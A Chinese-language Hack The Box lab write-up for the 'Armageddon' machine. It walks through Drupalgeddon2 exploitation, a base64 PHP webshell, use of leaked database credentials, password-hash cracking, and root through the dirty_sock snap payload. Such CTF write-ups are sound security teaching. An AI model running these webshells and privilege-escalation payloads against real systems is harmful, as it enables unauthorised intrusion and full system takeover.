Hackthebox-Armageddon

Hackthebox-Armageddon

pwn

目标IP:10.10.10.233

本机IP:10.10.14.209

信息收集

nmap

nmap

开放了22、80端口

打开Burpsuite,配置好代理(个人习惯,F12一样的)

直接访问看下网站功能

webserver

没什么特别的功能,注册一个账号试试

failregister

输入账号邮箱以后密码发到邮箱里,但这个功能应该是假的,没有收到任何邮件

简单尝试了一下似乎也没有sql注入

Dirsearch

扫了一下网站目录,发现了robots.txtshell.php

dirsearch

查看下robots.txt里面都有什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
User-agent: *
Crawl-delay: 10
# CSS, JS, Images
Allow: /misc/*.css$
Allow: /misc/*.css?
Allow: /misc/*.js$
Allow: /misc/*.js?
Allow: /misc/*.gif
Allow: /misc/*.jpg
Allow: /misc/*.jpeg
Allow: /misc/*.png
Allow: /modules/*.css$
Allow: /modules/*.css?
Allow: /modules/*.js$
Allow: /modules/*.js?
Allow: /modules/*.gif
Allow: /modules/*.jpg
Allow: /modules/*.jpeg
Allow: /modules/*.png
Allow: /profiles/*.css$
Allow: /profiles/*.css?
Allow: /profiles/*.js$
Allow: /profiles/*.js?
Allow: /profiles/*.gif
Allow: /profiles/*.jpg
Allow: /profiles/*.jpeg
Allow: /profiles/*.png
Allow: /themes/*.css$
Allow: /themes/*.css?
Allow: /themes/*.js$
Allow: /themes/*.js?
Allow: /themes/*.gif
Allow: /themes/*.jpg
Allow: /themes/*.jpeg
Allow: /themes/*.png
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

网站居然没有任何限制,可以直接看目录

目录

几个目录都翻烂了也没啥有用的信息

在更新日志(/CHANGELOG.txt)里发现了重要信息

changelog

从更新日志里可以看到,网站最后更新的Drupal 7.56

Google上搜了一波得知Drupal 7.56爆出过远程代码执行漏洞,影响范围Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1

Drupal远程代码执行漏洞利用

详情可搜CVE:2018-7600,分析文章已经很多了不多赘述(Exp在参考链接)

方法一

–部分Drupalgeddon2代码–

1
2
3
4
5
6
7
8
9
10
11
12
13
# Settings - Try to write a PHP to the web root?
try_phpshell = true
# Settings - General/Stealth
$useragent = "drupalgeddon2"
webshell = "shell.php"
# Settings - Proxy information (nil to disable)
$proxy_addr = nil
$proxy_port = 8080


# Settings - Payload (we could just be happy without this PHP shell, by using just the OS shell - but this is 'better'!)
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"

上面Dirsearch扫描发现就有个shell.php,应该是别的gamer在做靶机的时候写进来的,尝试下果然

shellphp

利用shell.php入自己的一句话并用蚁剑连接(想弹个shell出来发现弹不出来,可能姿势不对)

1
echo PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4K|base64 -d >jasontt.php

蚁剑成功连接

蚁剑

根目录下没有user.txt,那应该不在当前用户下

终于/var/www/html/sites/default/settings.php里发现了数据库的用户名密码

settings

  'username' => 'drupaluser',
  'password' => 'CQHEy@9M*m23gBVj',

接下来利用找到的数据库账号密码从数据库中找到有用的信息

1
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show databases;'

databases

查看drupal中有哪些表

1
mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'show tables;'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
Tables_in_drupal
actions
authmap
batch
block
block_custom
block_node_type
block_role
blocked_ips
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
comment
date_format_locale
date_format_type
date_formats
field_config
field_config_instance
field_data_body
field_data_comment_body
field_data_field_image
field_data_field_tags
field_revision_body
field_revision_comment_body
field_revision_field_image
field_revision_field_tags
file_managed
file_usage
filter
filter_format
flood
history
image_effects
image_styles
menu_custom
menu_links
menu_router
node
node_access
node_comment_statistics
node_revision
node_type
queue
rdf_mapping
registry
registry_file
role
role_permission
search_dataset
search_index
search_node_links
search_total
semaphore
sequences
sessions
shortcut_set
shortcut_set_users
system
taxonomy_index
taxonomy_term_data
taxonomy_term_hierarchy
taxonomy_vocabulary
url_alias
users
users_roles
variable
watchdog

查看users表中有哪些字段

1
mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'desc users;'

desctables

namepass应该就是账号密码了,查看一下

1
mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'select name,pass from users;'

userpwd

方法二

除了利用网上找到的Exp也可以使用工具Metasploit

msf1

msf2

msf3

getshell以后操作和方法一差不多就不继续写了,可以参考上面的。

密码破解

在数据库里得到了brucetherealadmin用户的账号密码

1
brucetherealadmin   $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

密码应该是hash加密过了,用Kali里自带的工具john the ripper破解

新建一个txt文档存放密码,john命令如下:

1
john hash.txt -w /usr/share/wordlists/rockyou.txt

johnpass

得到密码为booboo

尝试刚得到的用户名密码SSH,连接成功

sshuser

user.txt在~目录下

userflag

提权

sudo -l查看用户的权限

usersudo

直接google搜索(root) NOPASSWD: /usr/bin/snap install *

得到有用的信息dirty_sock:Linux提权漏洞(snap漏洞分析参考链接2)

2019年1月,由于默认安装的服务snapd API中的一个bug,通过默认安装的Ubuntu Linux被发现存在特权提升漏洞,任何本地用户都可以利用此漏洞直接获取root权限。

通过python --version发现本地是python2,本台靶机用dirty_sockv2.py中的一部分就可以提权了

dirtysock

snap本身运行在沙箱环境中,exp通过snap的开发模式(“devmode”)来降低限制条件,从而像主机上的其他应用一样来访问主机。snap还引入了“hooks”机制,“install hook”会在snap安装时运行,如果snap配置为开发模式,hook将会在root上下文中运行

脚本作用就是添加了一个dirty_sock用户可以提权到root

1
python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"*4256 + "=="' | base64 -d > jasontt.snap

安装jasont.snap

1
sudo /user/bin/snap install --devmode jasontt.snap

snap

cat /etc/passwd看看dirty_sock用户有没有添加成功

adduser

用户添加成功了,我们用su命令切换到sock_dirty用户,密码同用户名

drty_sock

得到root权限,拿到root.txt

root

参考链接

https://www.exploit-db.com/exploits/44449

https://initblog.com/2019/dirty-sock/

https://github.com/initstring/dirty_sock